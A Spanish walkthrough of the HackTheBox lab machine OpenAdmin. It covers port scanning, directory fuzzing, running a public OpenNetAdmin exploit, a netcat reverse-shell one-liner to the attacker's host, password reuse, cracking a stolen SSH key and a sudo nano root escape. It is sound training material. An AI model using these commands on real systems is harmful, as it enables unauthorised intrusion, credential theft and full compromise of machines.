OpenAdmin

✍️ Autor: MrR3boot 🔍 Dificultad: Fácil 📅 Fecha de creación: 16/04/2020

🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

ping -c 1 10.10.10.171

para verificar la conectividad de red.

A continuación, realizamos el comando:

nmap -sC -sV 10.10.10.171

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

Durante el escaneo se identificaron los siguientes puertos abiertos:

  • Puerto 22 (SSH): El puerto 22 está abierto y ejecutando OpenSSH 7.6p1 en un sistema Ubuntu Linux. Se han detectado las claves del host en los algoritmos RSA, ECDSA y ED25519, lo que indica que el sistema permite conexiones seguras mediante SSH.

  • Puerto 80 (HTTP): El puerto 80 está abierto y ejecutando un servidor web Apache 2.4.29 en Ubuntu. La página detectada es la predeterminada de Apache en Ubuntu, lo que sugiere que el servidor web podría estar recién configurado o sin contenido adicional.

A continuación, se procederá a analizar cada uno de estos servicios en busca de posibles vectores de ataque.

🔎 EXPLORACIÓN

Se utiliza el comando:

sudo nmap -sCV -p22,80 -v 10.10.10.171

para que nos proporcione más información sobre esos puertos específicamente.

Revisamos el puerto 80.

No vemos nada así a primera vista ni tampoco en el código fuente por lo que vamos a escanear directorios.

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://10.10.10.171/FUZZ

Entramos en el directorio /music.

Vemos que hay un panel de Login.

Parece un controlador de dominios por lo que lo añado.

echo "10.10.10.171 openadmin.htb" >> /etc/hosts

Vemos que se nos muestra una versión por lo que miramos si hay alguna versión.

searchsploit opennetadmin

Nos lo descargamos.

searchsploit -m php/webapps/47691.sh

Ejecutamos.

./47691.sh http://10.10.10.171/ona/

🚀 EXPLOTACIÓN

Nos mandamos una Reverse Shell.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.43 443 >/tmp/f

En la ruta /opt/ona/www/local/config.

Encontramos unas credenciales. Es habitual que los usuarios reutilicen contraseñas así que nos logueamos con esas.

ssh jimmy@10.10.10.171

En la ruta /var/www/internal encontramos archivos interesantes.

Vemos que interactúa con el main.php.

Parece que el archivo main.php está ejecutando un comando del sistema, y cada vez que se ejecuta, muestra la clave privada (id_rsa) de Joanna (otro usuario).

El archivo no era accesible desde el exterior, lo que indica que probablemente esté alojado de forma interna. Por ello, decidí revisar los puertos que estaban en escucha.

netstat -l
curl http://127.0.0.1:52846/main.php

Nos lo copiamos y le damos permisos.

chmod 600 id_rsa

Usamos John The Ripper para sacar la contraseña de la clave cifrada.

ssh2john id_rsa > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Iniciamos sesión con Joana.

ssh -i id_rsa joanna@10.10.10.171

🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

whoami

aún no somos root, por lo que hacemos:

sudo -l

para ver si hay algo para explotar.

sudo /bin/nano /opt/priv
^R^X
reset; sh 1>&0 2>&0

Ya somos root.

Last updated

Was this helpful?